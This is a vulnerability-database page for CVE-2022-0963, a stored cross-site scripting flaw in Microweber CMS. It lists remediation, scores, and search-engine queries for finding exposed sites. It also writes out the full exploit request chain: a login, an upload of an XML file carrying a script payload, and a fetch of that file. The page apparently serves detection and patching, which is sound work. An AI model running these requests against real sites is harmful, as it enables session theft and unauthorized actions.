🔙 목록으로 돌아가기

CVE-2022-0963: Microweber <1.2.12 - Stored Cross-Site Scripting

TitleMicroweber <1.2.12 - Stored Cross-Site Scripting
Authoramit-jd
SeverityMedium
ImpactAuthenticated attackers can upload malicious XML files containing XSS payloads that execute when users access the uploaded files, potentially stealing session cookies or performing unauthorized actions.
RemediationUpgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.
CVSS Score5.4
EPSS Score0.0815
CVE IDCVE-2022-0963
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:780351152http.html:"microweber"
Fofa Querybody="microweber"icon_hash=780351152
Tags cve cve2022 xss microweber cms authenticated huntr intrusive vuln

🔍 Vulnerability Description

Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.

🌐 HTTP Request

POST /api/user_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=xV1CB2&password=awfsVJ
POST /plupload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 673
Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
Referer: http://www.victim.comadmin/view:modules/load_module:files
Accept-Encoding: gzip

-----------------------------59866212126262636974202255034

Content-Disposition: form-data; name="name"



38F52CW4hDGJqdfuEhRPL8jxX67.xml

-----------------------------59866212126262636974202255034

Content-Disposition: form-data; name="chunk"



0

-----------------------------59866212126262636974202255034

Content-Disposition: form-data; name="chunks"



1

-----------------------------59866212126262636974202255034

Content-Disposition: form-data; name="file"; filename="blob"

Content-Type: application/octet-stream



<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>

-----------------------------59866212126262636974202255034--
GET /userfiles/media/default/38f52cw4hdgjqdfuehrpl8jxx67.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0963.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0963.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A